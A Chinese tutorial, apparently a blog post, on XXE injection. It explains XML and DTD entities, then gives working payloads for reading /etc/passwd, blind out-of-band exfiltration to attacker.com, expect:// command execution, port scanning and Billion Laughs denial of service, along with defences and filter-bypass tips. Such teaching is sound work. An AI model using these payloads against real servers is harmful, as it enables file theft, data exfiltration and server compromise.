对于XXE漏洞的理解以及在实战中的利用
字数 1511 2025-08-11 08:36:04

XXE漏洞详解与实战利用指南

1. XXE漏洞概述

XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种针对XML处理器的安全漏洞。攻击者通过构造恶意的XML实体,可以读取服务器上的任意文件、执行远程请求、进行端口扫描甚至导致拒绝服务攻击。

2. XML基础知识

2.1 XML基本概念

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点:

  • 类似HTML但设计目的是传输数据而非显示数据
  • 允许自定义标签和文档结构
  • 必须有且只有一个根元素
  • 严格区分大小写

2.2 XML文档结构

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!-- XML声明:版本、编码、是否独立 -->
<!DOCTYPE 根元素 [DTD定义]>
<!-- DTD部分,XXE漏洞所在 -->
<根元素>
  <元素 属性="值">内容</元素>
</根元素>

2.3 XML注释与处理指令

  • 注释:<!-- 注释内容 -->(不允许嵌套)
  • 处理指令:<?目标 指令?>(如<?xml version="1.0"?>

3. DTD(文档类型定义)

3.1 DTD基本概念

DTD定义了XML文档的结构和合法元素,是XXE漏洞的关键所在。

3.2 DTD的三种应用形式

  1. 内部DTD
<!DOCTYPE 根元素 [定义内容]>
  1. 外部DTD
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
  1. 内外部DTD结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

3.3 DTD实体

实体是XML中用于定义重复使用内容的机制,分为:

  1. 内部实体
<!ENTITY 实体名 "实体内容">
  1. 外部实体
<!ENTITY 实体名 SYSTEM "URI">
  1. 参数实体(以%开头):
<!ENTITY %实体名 "值">
<!ENTITY %实体名 SYSTEM "URL">
  1. 公共实体
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

4. XXE漏洞利用方式

4.1 读取任意文件(有回显)

基本payload

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

实战案例1(PicoCTF 2023 SOAP):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <ID>&xxe;</ID>
</data>

注意:确保Content-Type设置为application/xml

4.2 无回显XXE(Blind XXE)

利用外带数据通道提取数据:

方案1(使用外部服务器接收数据):

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
  %all;
  %send;
]>

evil.dtd内容

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">

方案2(使用php://filter和base64编码):

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %send;
]>

4.3 命令执行

需要PHP安装expect扩展(默认不安装):

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>

4.4 内网探测与端口扫描

探测端口

<?xml version="1.0"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "http://internal-server:80">
]>
<data>&xxe;</data>

通过响应时间判断端口是否开放:

  • 开放端口:响应时间短(如16ms)
  • 关闭端口:响应时间长(如1047ms)

4.5 拒绝服务攻击(Billion Laughs攻击)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- 继续扩展... -->
]>
<lolz>&lol9;</lolz>

5. 防御措施

  1. 禁用外部实体

    • PHP:libxml_disable_entity_loader(true);
    • Java:设置DocumentBuilderFactorysetFeature("http://xml.org/sax/features/external-general-entities", false)
  2. 使用安全的XML解析器

    • 使用DOM或SAX解析器而非SimpleXML
    • 使用JSON替代XML
  3. 输入验证与过滤

    • 过滤<!DOCTYPE<!ENTITY等关键字
    • 限制XML文档大小
  4. 服务器配置

    • 限制外部网络访问
    • 使用Web应用防火墙(WAF)

6. 实战技巧

  1. Content-Type设置:确保请求头设置为application/xml

  2. 文件路径

    • Linux:file:///etc/passwd
    • Windows:file:///c:/windows/win.ini
  3. 特殊协议

    • php://filter/read=convert.base64-encode/resource=file.php
    • http://用于SSRF
  4. 编码绕过

    • 使用UTF-16编码绕过某些过滤器
    • 使用CDATA节绕过字符限制

7. 总结

XXE漏洞是一种危险的漏洞类型,可以导致严重的信息泄露和服务器端请求伪造。理解XML和DTD的工作原理是发现和利用XXE漏洞的关键。防御XXE需要从代码层面和服务器配置层面进行多重防护。

XXE漏洞详解与实战利用指南 1. XXE漏洞概述 XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种针对XML处理器的安全漏洞。攻击者通过构造恶意的XML实体,可以读取服务器上的任意文件、执行远程请求、进行端口扫描甚至导致拒绝服务攻击。 2. XML基础知识 2.1 XML基本概念 XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点: 类似HTML但设计目的是传输数据而非显示数据 允许自定义标签和文档结构 必须有且只有一个根元素 严格区分大小写 2.2 XML文档结构 2.3 XML注释与处理指令 注释: <!-- 注释内容 --> (不允许嵌套) 处理指令: <?目标 指令?> (如 <?xml version="1.0"?> ) 3. DTD(文档类型定义) 3.1 DTD基本概念 DTD定义了XML文档的结构和合法元素,是XXE漏洞的关键所在。 3.2 DTD的三种应用形式 内部DTD : 外部DTD : 内外部DTD结合 : 3.3 DTD实体 实体是XML中用于定义重复使用内容的机制,分为: 内部实体 : 外部实体 : 参数实体 (以%开头): 公共实体 : 4. XXE漏洞利用方式 4.1 读取任意文件(有回显) 基本payload : 实战案例1 (PicoCTF 2023 SOAP): 注意 :确保Content-Type设置为 application/xml 4.2 无回显XXE(Blind XXE) 利用外带数据通道提取数据: 方案1 (使用外部服务器接收数据): evil.dtd内容 : 方案2 (使用php://filter和base64编码): 4.3 命令执行 需要PHP安装expect扩展(默认不安装): 4.4 内网探测与端口扫描 探测端口 : 通过响应时间判断端口是否开放: 开放端口:响应时间短(如16ms) 关闭端口:响应时间长(如1047ms) 4.5 拒绝服务攻击(Billion Laughs攻击) 5. 防御措施 禁用外部实体 : PHP: libxml_disable_entity_loader(true); Java:设置 DocumentBuilderFactory 的 setFeature("http://xml.org/sax/features/external-general-entities", false) 使用安全的XML解析器 : 使用DOM或SAX解析器而非SimpleXML 使用JSON替代XML 输入验证与过滤 : 过滤 <!DOCTYPE 和 <!ENTITY 等关键字 限制XML文档大小 服务器配置 : 限制外部网络访问 使用Web应用防火墙(WAF) 6. 实战技巧 Content-Type设置 :确保请求头设置为 application/xml 文件路径 : Linux: file:///etc/passwd Windows: file:///c:/windows/win.ini 特殊协议 : php://filter/read=convert.base64-encode/resource=file.php http:// 用于SSRF 编码绕过 : 使用UTF-16编码绕过某些过滤器 使用CDATA节绕过字符限制 7. 总结 XXE漏洞是一种危险的漏洞类型,可以导致严重的信息泄露和服务器端请求伪造。理解XML和DTD的工作原理是发现和利用XXE漏洞的关键。防御XXE需要从代码层面和服务器配置层面进行多重防护。